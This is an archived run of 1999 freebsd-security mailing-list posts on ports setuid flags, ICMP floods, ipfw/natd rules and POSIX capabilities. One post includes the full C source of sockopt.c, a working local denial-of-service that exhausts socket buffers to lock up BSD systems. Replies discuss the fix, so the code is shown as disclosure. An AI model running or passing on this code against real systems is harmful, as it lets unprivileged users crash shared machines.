Administrator www: www.saunalahti.fi | | .??.??????.????.??.??????.????.?????.??.oOOOo.??.?????.??.?????.??.????.??. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 15:23:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id 0CCCA15117; Thu, 16 Dec 1999 15:23:35 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 349DB1A5B; Thu, 16 Dec 1999 16:23:19 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <14425.22597.651762.236431@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 16:23:17 -0500 (EST) To: Peter Jeremy Cc: Robert Watson , freebsd-security@FreeBSD.ORG, asami@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) References: <14425.12637.308602.637788@anarcat.dyndns.org> <99Dec17.073504est.40321@border.alcanet.com.au> X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --- Big Brother told Peter Jeremy to write, at 07:43 of December 17: > I've copied to Asami-san since I believe his input is critical to any= > changes to the ports mechanism. >=20 > On 1999-Dec-17 05:56:26 +1100, Robert Watson wrote: > >Yup, it's d=E9j=E0 vu all over again. If you want a heavy-handed se= curity > >approach, here's how you do it. Define two new Makefile ports varia= bles: > > > >HAS_MISC_SET_ID=3D {yes,no} > >HAS_ROOT_SETUID=3D {yes,no} >=20 > I think `MISC' is too general. I'd split it into `games' (since ther= e > seems to be a general concensus that setuid-games is the least > unsavoury way to handle machine-wide high-scores files) and `misc' (i= n > case a game wants to be setuid something else - though I can't think > of any justification for other UIDs). Well, there's "postfix", "mysql", "bind", to name a few..=20 > We also need an `unsafe' marker > to support the install alarms. How about adding the following as > well: >=20 > HAS_GAMES_SETUID=3D {yes,no} > IS_UNSAFE=3D {yes,no,maybe} We may also take into account setgid, while we're at it... So we would get: HAS_GAMES_SETUID=3D {yes,no} HAS_GAMES_SETGID=3D {yes,no} HAS_ROOT_SETUID=3D {yes,no} HAS_MISC_SETUID=3D {yes,no} HAS_MISC_SETGID=3D {yes,no} IS_UNSAFE=3D {yes,no,maybe} We might as well put it like: HAS_SETUID=3D {root, games, misc, ...} HAS_SETGID=3D {games, wheel, misc, ...} but I don't know how that would fit in FBSD's Makefiles mechanisms... =20 > >Starting today, warn all ports maintainers that their ports must (id= eally > >correctly) define these variables for all of their ports. >=20 > The middle of a ports freeze is a bad time for this. (Though, if the= > infrastructure was ready at the end of the ports freeze, it would > make a clear transition point). Indeed. That would be a great feature for 3.5! :) =20 > > In two weeks, > >any port that doesn't define both variables is marked as broken. >=20 > Two weeks might be a bit short. I don't believe there's any pressing= > need for this (the critical deadline to meet would be the next > CD-ROM pressing - which is now several months off). I would think > that a month might be better (Asami-san would have a better idea of > a reasonable period).=20 Indeed. I agree that our primary concern with that is the CDROMs release, as the ports users are generally more aware of the consequences of using the ports... [snip] > Lest the above sound too negative, I think Robert's approach is a goo= d > idea. I'm just not sure about the details. I also really think that this is a wonderful idea. We can take some time to think about it.=20 The AnarCat --=20 Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 22: 9:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f8.law4.hotmail.com [216.33.149.8]) by hub.freebsd.org (Postfix) with SMTP id B1D8B14F7F for ; Thu, 16 Dec 1999 22:09:46 -0800 (PST) (envelope-from jasonschwab@hotmail.com) Received: (qmail 67060 invoked by uid 0); 17 Dec 1999 06:09:46 -0000 Message-ID: <19991217060946.67059.qmail@hotmail.com> Received: from 207.224.149.81 by www.hotmail.com with HTTP; Thu, 16 Dec 1999 22:09:40 PST X-Originating-IP: [207.224.149.81] From: "jason schwab" To: freebsd-security@freebsd.org, openbsd-tech@openbsd.org Cc: rojah@uswest.net, skalir@uswest.net, ghandi@mindless.com, skalir@hotmail.com Subject: !!!really, really big problem with *BSD!!! Date: Fri, 17 Dec 1999 01:09:40 EST Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I was surfing the net and talking on irc, as usual, I see this sockopt.c file, my friend sends me it, he tells me it'll lock up any openbsd / netbsd / freebsd server, just compile normally and run it.. poof locks up... I tried it on OpenBSD 2.5, OpenBSD 2.6, FreeBSD 3.1-RELEASE, FreeBSD 3.2-STABLE, FreeBSD 3.3-RELEASE and FreeBSD 3.3-STABLE and it WORKED. can we work together on fixxing this? non-root user, just compiles and runs, and poof system locks up. Thanks, Jason L. Schwab (below is the sockopt.c file, also found on www.hack.co.za) <......snip.......> /* FreeBSD FreeBSD 3.2 NetBSD NetBSD 1.4 OpenBSD OpenBSD 2.5 */ #include #include #include #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } /* www.hack.co.za */ end ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 22:30:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id CB39C15081 for ; Thu, 16 Dec 1999 22:29:01 -0800 (PST) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id BAA32255; Fri, 17 Dec 1999 01:28:58 -0500 (EST) Date: Fri, 17 Dec 1999 01:28:58 -0500 (EST) From: Bosko Milekic To: jason schwab Cc: freebsd-security@FreeBSD.ORG Subject: Re: !!!really, really big problem with *BSD!!! In-Reply-To: <19991217060946.67059.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 17 Dec 1999, jason schwab wrote: !>I was surfing the net and talking on irc, as usual, I see this !>sockopt.c file, my friend sends me it, he tells me it'll lock up !>any openbsd / netbsd / freebsd server, just compile normally and run !>it.. poof locks up... !> !>I tried it on OpenBSD 2.5, OpenBSD 2.6, FreeBSD 3.1-RELEASE, !>FreeBSD 3.2-STABLE, FreeBSD 3.3-RELEASE and FreeBSD 3.3-STABLE !> !>and it WORKED. This situation has been fixed, in two different ways which, for what concerns this particular "problem" (really, it's a resource exhaustion) in -CURRENT: (a) Limit sockbuf size. (b) Code has been added to -CURRENT which will prevent the system from going down. (e.g. panic()). !> !>can we work together on fixxing this? non-root user, just compiles !>and runs, and poof system locks up. !> !>Thanks, !>Jason L. Schwab !> !>(below is the sockopt.c file, also found on www.hack.co.za) !> !><......snip.......> You really should have taken a look at the mailing list archives before switching on the alarm. :-) Bosko. -- Bosko Milekic To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 23:21:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from mls.gtonet.net (mls.gtonet.net [216.112.90.195]) by hub.freebsd.org (Postfix) with ESMTP id 9D59514DB9 for ; Thu, 16 Dec 1999 23:21:51 -0800 (PST) (envelope-from freebsd@gtonet.net) Received: from pld (holeyman@pld.gtonet.net [216.112.90.200]) by mls.gtonet.net (8.9.3/8.9.3) with SMTP id XAA12793 for ; Thu, 16 Dec 1999 23:21:50 -0800 (PST) (envelope-from freebsd@gtonet.net) From: "FreeBSD" To: "freebsd-security@FreeBSD. ORG" Subject: RE: Attacked By ICMP Packets Date: Thu, 16 Dec 1999 23:22:08 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Depending on the attack you might not be able to stop it even if you filter the packets. If the attacker can send more packets than your bandwidth can handle, for example. No matter how fast you drop them, they still exceed your bandwidth, thus you die. Avoiding IRC will reduce your smurfs usually or you can just avoid pissing people off or channels that are prone to attacks. FreeBSD freebsd@gtonet.net "LinSUX is only free if your time is worthless" > -----Original Message----- > From: owner-freebsd-security@FreeBSD.ORG > [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of BSDman > Sent: Thursday, December 16, 1999 6:40 AM > To: retal; freebsd-security@FreeBSD.ORG > Subject: RE: Attacked By ICMP Packets > > > > I'm getting icmped and smurfed twice a week and when it does happen > > My LAN is dead ... , i ran a firewall but still it doesnt help... > > any suggestions? > > what firewall are you running? on top of which OS? > why is your LAN dead? do you allow inbound icmp packets to pass > accross your firewall? generally, you should only allow icmp > packets to the > firewall > (unless you have public addresses in your LAN and you do not NAT > them at the > firewall). > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 17 22:16: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from zone.unixshell.com (zone.syracuse.net [209.2.141.6]) by hub.freebsd.org (Postfix) with ESMTP id B273614BFC for ; Fri, 17 Dec 1999 22:15:59 -0800 (PST) (envelope-from mayres@unixshell.com) Received: from localhost (mayres@localhost) by zone.unixshell.com (8.9.3/8.9.3) with ESMTP id AAA26356; Sat, 18 Dec 1999 00:49:44 -0500 (EST) (envelope-from mayres@unixshell.com) Date: Sat, 18 Dec 1999 00:49:43 -0500 (EST) From: Matt Ayres To: Bosko Milekic Cc: freebsd-security@freebsd.org Subject: Re: !!!really, really big problem with *BSD!!! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org How exactly do you limti the sockbuf size? I seemed to have missed that thread... On Fri, 17 Dec 1999, Bosko Milekic wrote: > On Fri, 17 Dec 1999, jason schwab wrote: > > !>I was surfing the net and talking on irc, as usual, I see this > !>sockopt.c file, my friend sends me it, he tells me it'll lock up > !>any openbsd / netbsd / freebsd server, just compile normally and run > !>it.. poof locks up... > !> > !>I tried it on OpenBSD 2.5, OpenBSD 2.6, FreeBSD 3.1-RELEASE, > !>FreeBSD 3.2-STABLE, FreeBSD 3.3-RELEASE and FreeBSD 3.3-STABLE > !> > !>and it WORKED. > > This situation has been fixed, in two different ways which, for what > concerns this particular "problem" (really, it's a resource exhaustion) > in -CURRENT: > > (a) Limit sockbuf size. > > (b) Code has been added to -CURRENT which will prevent the system > from going down. (e.g. panic()). > > !> > !>can we work together on fixxing this? non-root user, just compiles > !>and runs, and poof system locks up. > !> > !>Thanks, > !>Jason L. Schwab > !> > !>(below is the sockopt.c file, also found on www.hack.co.za) > !> > !><......snip.......> > > You really should have taken a look at the mailing list archives > before switching on the alarm. :-) > > Bosko. > > -- > Bosko Milekic > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 17 22:38:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id 220E014D5E for ; Fri, 17 Dec 1999 22:38:27 -0800 (PST) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id BAA16483; Sat, 18 Dec 1999 01:38:08 -0500 (EST) Date: Sat, 18 Dec 1999 01:38:08 -0500 (EST) From: Bosko Milekic To: Matt Ayres Cc: freebsd-security@freebsd.org Subject: Re: !!!really, really big problem with *BSD!!! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 18 Dec 1999, Matt Ayres wrote: !>How exactly do you limti the sockbuf size? I seemed to have missed that !>thread... The FreeBSD website has an excellent search engine allowing one to search and sort results from the mailing-list archives. With the same amount of time put into typing up this Email, you could have searched the lists. In any case, here's a URL: It's long, so I've chopped it up into two pieces: http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=502488+504943+ \ /usr/local/www/db/text/1999/freebsd-hackers/19990919.freebsd-hackers Date: Fri, 17 Sep 1999 12:32:01 -0400 (EDT) From: "Brian F. Feldman" To: hackers@FreeBSD.org Subject: socket buffer DoS/administrative limits Message-ID: For future reference, here's the exact URL to the search page: http://www.freebsd.org/search/search.html#mailinglists --Bosko -- Bosko Milekic To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 18 11:13:17 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0945B14D4B for ; Sat, 18 Dec 1999 11:13:15 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id MAA12115; Sat, 18 Dec 1999 12:13:03 -0700 (MST) Message-Id: <4.2.0.58.19991218120838.00cebcd0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sat, 18 Dec 1999 12:09:18 -0700 To: Bosko Milekic , jason schwab From: Brett Glass Subject: Re: !!!really, really big problem with *BSD!!! Cc: freebsd-security@FreeBSD.ORG In-Reply-To: References: <19991217060946.67059.qmail@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:28 PM 12/16/1999 , Bosko Milekic wrote: > This situation has been fixed, in two different ways which, for what > concerns this particular "problem" (really, it's a resource exhaustion) > in -CURRENT: > > (a) Limit sockbuf size. > > (b) Code has been added to -CURRENT which will prevent the system > from going down. (e.g. panic()). Will there also be a fix in 3.4? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 19 13:48: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from pro.icp.ac.ru (pro.icp.ac.ru [193.233.43.46]) by hub.freebsd.org (Postfix) with ESMTP id CFE06151F1 for ; Sun, 19 Dec 1999 13:48:00 -0800 (PST) (envelope-from ratebor@pro.icp.ac.ru) Received: from dobro.pc.icp.ac.ru (dobro.pc.icp.ac.ru [192.168.253.20]) by pro.icp.ac.ru (8.9.3/8.8.7) with ESMTP id AAA16867; Mon, 20 Dec 1999 00:47:41 +0300 (MSK) (envelope-from ratebor@pro.icp.ac.ru) Date: Mon, 20 Dec 1999 00:41:41 +0300 From: Dmitriy Bokiy X-Mailer: The Bat! (v1.34a) UNREG / CD5BF9353B3B7091 Reply-To: Dmitriy Bokiy Organization: IPCP X-Priority: 3 (Normal) Message-ID: <428.991220@pro.icp.ac.ru> To: Sanford Owings , freebsd-security@FreeBSD.ORG Subject: Re: Firewall and NAT, step-by-step? In-reply-To: <199912150008.QAA10142@mamba.CS.Berkeley.EDU> References: <199912150008.QAA10142@mamba.CS.Berkeley.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org As (strangely) I couldn`t find the apropriate link in the archive here`s the answer from Carol Deihl: > Hi Vincent, > > The key to making this work is thinking about when the natd happens, > so that you'll know what addresses you're working with. Here's an > example of a setup I did some time ago, which may or may not match > your situation, but I hope it will shed some light for you. > > We needed to translate addresses for some public servers. We placed > them behind a FreeBSD box with ipfw/natd, using redirect_address > statements in a natd.conf file. We did our natd on the *external* > interface. Our ipfw rules were (schematically) like this (we used > a shell file): > > $rule 1000 pass all from 127.0.0.1 to 127.0.0.1 > > # Anti-spoofing, block incoming with internal sources > $rule deny log all from $i_net to any in via $oif > > # Stop RFC1918 nets and loopback on the outside interface > $rule deny log all from 192.168.0.0:255.255.0.0 to any in via > $oif > $rule deny log all from 172.16.0.0:255.240.0.0 to any in via > $oif > $rule deny log all from 10.0.0.0:255.0.0.0 to any in via > $oif > $rule deny log all from 127.0.0.1 to any in via > $oif > > # process through NAT > $rule divert natd all from any to any via $oif > > # Allow inbound to public web servers that require NAT > # Rule 1 for discussion below: > $rule pass tcp from any $HIGH to $t_public $HTTP in via $oif > # Rule 2 > $rule pass tcp from any $HIGH to $t_public $HTTP out via $iif > # Rule 3 > $rule pass tcp from $t_public $HTTP to any $HIGH in via $iif > established > # Rule 4 > $rule pass tcp from $r_public $HTTP to any $HIGH out via $oif > established > > # ditto 1-4 for other services and other blocks of addresses requiring > nat > > > The sequence of processing for a sample web connection is this: > > 1. first packet comes in $oif (outside interface) > 2. packet examined for anti-spoofing > 3. packet translated by natd > 4. packet (with translated address) passed across $oif > by Rule 1 above > 5. packet (still with translated address) passed across $iif > (inside interface) by Rule 2 > 6. packet received by web server, generates reply packet > 7. reply packet (with translated address) comes in $iif > 8. reply packet (with translated address) passed across $iif > by Rule 3 > 9. reply packet (with translated address) hits $oif on way out > 10. reply packet goes through nat, gets translated to *outside* > address > 11. reply packet (with *outside* address) passed to outside > across $oif by Rule 4 > > In our topology, note that Rules 1-3 refer to the translated (inside) > address, while Rule 4 refers to the *outside* address (since the nat > happens before that rule gets hit). > > Note that even if you're using RFC1918 nets on the inside, the RFC1918 > rules above won't cause a problem, since they are applied only to > packets that are coming *in* from the outside interface. > > Another thing that took me some time to figure out originally is this: > The "in" and "out" are from the point of view of the *interface* > involved, *not* relative to the "inside" or "outside" network. So, for > packets that are transiting the gateway box headed into the internal > network, these packets will be going *out* the internal interface > to the internal network. > > Hope I've shed light, not confusion... > > -- > Carol Deihl - principal, Shrier and Deihl - mailto:carol@tinker.com > Remote Unix Network Admin, Security, Internet Software Development > Tinker Internet Services - Superior FreeBSD-based Web Hosting > http://www.tinker.com/ I add only that you can happily do without recv and xmit in favour of "via in"/"via out" which are clearly more intuitive. -Dmitriy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 20 10:52:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 562E6151FE for ; Mon, 20 Dec 1999 10:52:43 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA11903; Mon, 20 Dec 1999 13:52:22 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Dec 1999 13:52:22 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: development team , freebsd-security@freebsd.org Subject: Re: capabilities In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org (I've added freebsd-security into the CC field to keep the world abreast of our progress, btw) On Mon, 20 Dec 1999, Ilmar S. Habibulin wrote: > On Fri, 17 Dec 1999, Robert Watson wrote: > > > Ok, so the good news is that over the past 48 hours, I've gotten commit > > access to the FreeBSD source tree, and that the interfaces for extended > > file system attributes and ACLs have gone into the tree for the 4.0 > > release. On a similarly good front, I have implemented extended > > attributes for UFS on 4.0-CURRENT, which appears to work great at this > > point. I'm still dealing with one deadlock issue, as I store the > > attributes in files off of .attribute in the FS root, and there's a > > locking order issue. They aren't currently fast, but there are lots of > > ways to optimize them and the API should be pretty fixed now. > It's great, i saw the changes. But -current still don't whant to boot at > my working box. :( This new ata driver... Supposedly now 4.0-current is stabilizing. If you're having problems getting your specific drive/controller to work with the ata stuff, I'd go ahead and contact someone.. Either email freebsd-current@, or the drive author. Unfortunately, I don't recall who that is offhand, but it should be listed in the ata source files? I know that providing support for missing chipsets is a priority. I'll be committing VOP_ documentation for the new VOPs, as well as possibly some of the ACL library code in the near future. There are a few bugs I need to wring out, and I made some last-minute change to the VOPs--for example, I no longer have VOP_RMEXTATTR, but instead use VOP_SETEXTATTR with a null uio pointer, in the same style as removing ACLs from files with VOP_SETACL. I hope to have all the documentation/etc committed by the end of the week, and will let you know when it's ready to go, along with the location of the ufs/extattr extensions so that UFS can store extended attributes. I'm trying to decide if this can easily be made a loadable kernel module, but I think it will require applying a patch to ufs/ufs and rebuilding the kernel. Because it backs attributes to seperate files either in the fs or elsewhere, as with quotas, it doesn't require modifying newfs, fsck, or your partitions :-). I haven't finished up the ACL over ExtAttr stuff yet, and hope to do that this after new years, if not before. > > The 4.0 feature freeze is RSN, possibly already happened, which means 4.0 > > should get more and more stable over the next couple of weeks, meaning we > > should probably jump onto that development line, as it has the extended > > attribute interface support and will be close to the branch we'll want to > > commit the capabilities/etc code to. > Ok. I will concentrate on CAPs first, but it will happen only after the > HNY. I'm busy right now. Sounds good--CAP probably has the most immediate appeal, but I'd really like to see MAC :-). MAC is probably a lot more intrusive than CAP, given its nature, but we'll see to what extent there's interest in getting it into the main source tree--I'd love to see it there, but recognize that its intrusiveness may limit that. > It is CAPs' land. I'm reading the POSIX again and again trying to > understand what does capabilities mean and how should i implement them. So > as i understand capabilities are something like SUID/SGID bits. Yes--that's effectively the idea. When you run the executable, it picks up additional privileges above the ones the calling process has, and presumably also you flag that process structure state so that it can't be debugged/etc to acquire the privileges from other processes owned by the same uid--I forget exactly how this works, but it's the same thing that protects setuid processes from attacks of that style (as well as limiting the effect of LD_LIBRARY_PATH, etc -- I think it's a syscall that returns "I'm special or not" to userland so the library loader can check, etc). A bitmask is one way to represent this, although I think it's desirable to consider more extensible systems for naming the capabilities in the long term. For example, you could consider a chain of capabilities, each with a name--i.e., kern.ipc.ip.tcp.80.bind or the like. The short term solution is to add a new 32 bit flag field indicating what the capabilities are for the executable :-). There's also a piece of behavior that removes the setuid bit when binaries are modified.. We might want to abscond with a flag field in the inode to optimze the check for certain key extended attributes that would impact performance (i.e., in the inode have flags EA_HAVE_ACL EA_HAVE_CAP and so on, and if it's set you know to load the attribute and do additional checks, and if not, then not to). Terry Lambert has already expressed strong opposition to consuming flags/etc, but if we're already using a modified UFS it might not hurt. On the other hand, so far I've managed to avoid changing the disk layout and partition format, and would like to continue to do so. It is probably best to accept the performance hit for the time being--there are some plans to alow refcounting in the extended attribute implementation, which would lead to far more effective caching of attribute data, especially relevant with ACLs. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 20 12:23:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id CDA6C14E52 for ; Mon, 20 Dec 1999 12:23:23 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id XAA25100; Mon, 20 Dec 1999 23:23:21 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdG25098; Mon Dec 20 23:23:21 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id XAA42160; Mon, 20 Dec 1999 23:23:18 +0300 (MSK) Date: Mon, 20 Dec 1999 23:23:18 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: development team , freebsd-security@freebsd.org Subject: Re: capabilities In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Dec 1999, Robert Watson wrote: > (I've added freebsd-security into the CC field to keep the world abreast > of our progress, btw) I wanted to cc my letters to posix. ;-) Ok, let it be security. > > It's great, i saw the changes. But -current still don't whant to boot at > > my working box. :( This new ata driver... > Supposedly now 4.0-current is stabilizing. If you're having problems > getting your specific drive/controller to work with the ata stuff, I'd go > ahead and contact someone.. Either email freebsd-current@, or the drive > author. Unfortunately, I don't recall who that is offhand, but it should > be listed in the ata source files? I know that providing support for > missing chipsets is a priority. I hope so, but i think that Intel PIIX4 is supported. Maybe it is BIOS setup problem, continue searching. and reading -current. ;-) > I'll be committing VOP_ documentation for the new VOPs, as well as > possibly some of the ACL library code in the near future. There are a few > bugs I need to wring out, and I made some last-minute change to the > VOPs--for example, I no longer have VOP_RMEXTATTR, but instead use > VOP_SETEXTATTR with a null uio pointer, in the same style as removing ACLs > from files with VOP_SETACL. I hope to have all the documentation/etc > committed by the end of the week, and will let you know when it's ready to > go, along with the location of the ufs/extattr extensions so that UFS can > store extended attributes. I'm trying to decide if this can easily be I thought that it's already working, did not have the time to examine the code. So i will read posix againg, waiting for yours commits. ;-) > made a loadable kernel module, but I think it will require applying a > patch to ufs/ufs and rebuilding the kernel. Because it backs attributes > to seperate files either in the fs or elsewhere, as with quotas, it > doesn't require modifying newfs, fsck, or your partitions :-). And have you thought about intergrity problems after crashes. Storing EA in a separate file is not identical to storing quotas in separate file, because of different sizes of data. EA data size is infinity (theoretically). So what should we do after crash while changing some of EA? > > Ok. I will concentrate on CAPs first, but it will happen only after the > > HNY. I'm busy right now. > Sounds good--CAP probably has the most immediate appeal, but I'd really > like to see MAC :-). MAC is probably a lot more intrusive than CAP, given > its nature, but we'll see to what extent there's interest in getting it > into the main source tree--I'd love to see it there, but recognize that > its intrusiveness may limit that. I think that CAPs is more interesting to the community. MAC is very specific access control mechanism, even integrity MAC based on Biba model. > > It is CAPs' land. I'm reading the POSIX again and again trying to > > understand what does capabilities mean and how should i implement them. So > > as i understand capabilities are something like SUID/SGID bits. > Yes--that's effectively the idea. When you run the executable, it picks > up additional privileges above the ones the calling process has, and > presumably also you flag that process structure state so that it can't be > debugged/etc to acquire the privileges from other processes owned by the > same uid--I forget exactly how this works, but it's the same thing that > protects setuid processes from attacks of that style (as well as limiting > the effect of LD_LIBRARY_PATH, etc -- I think it's a syscall that returns > "I'm special or not" to userland so the library loader can check, etc). I was upset by realizing that. I thought CAPs are something like WinNT priveleges, that are managed through user account manager. POSIX CAPs are privileges, that are managed through the fs execute permision. I don't what is better. Time will show. > A bitmask is one way to represent this, although I think it's desirable to > consider more extensible systems for naming the capabilities in the long > term. For example, you could consider a chain of capabilities, each with > a name--i.e., kern.ipc.ip.tcp.80.bind or the like. The short term This is a verrry complex solution. I think it will impact performance dramatically. > solution is to add a new 32 bit flag field indicating what the > capabilities are for the executable :-). There's also a piece of behavior > that removes the setuid bit when binaries are modified.. We might want to I what to use linux caps extention. So 32 bits are for posix caps plus 31 bits - for system specific. > abscond with a flag field in the inode to optimze the check for certain > key extended attributes that would impact performance (i.e., in the inode > have flags > > EA_HAVE_ACL > EA_HAVE_CAP > > and so on, and if it's set you know to load the attribute and do > additional checks, and if not, then not to). Terry Lambert has already Good idea, but if we will implement MAC, then every system object (not only fs object) should have label. And if it have no label, then it should have system_high. And administrator must change this value - set MAC label for an object. > expressed strong opposition to consuming flags/etc, but if we're already > using a modified UFS it might not hurt. On the other hand, so far I've > managed to avoid changing the disk layout and partition format, and would > like to continue to do so. It is probably best to accept the performance > hit for the time being--there are some plans to alow refcounting in the > extended attribute implementation, which would lead to far more effective > caching of attribute data, especially relevant with ACLs. I think that the fact of initial EA support is great. And we will develop it by common efforts. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 20 14: 3:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id E265015351 for ; Mon, 20 Dec 1999 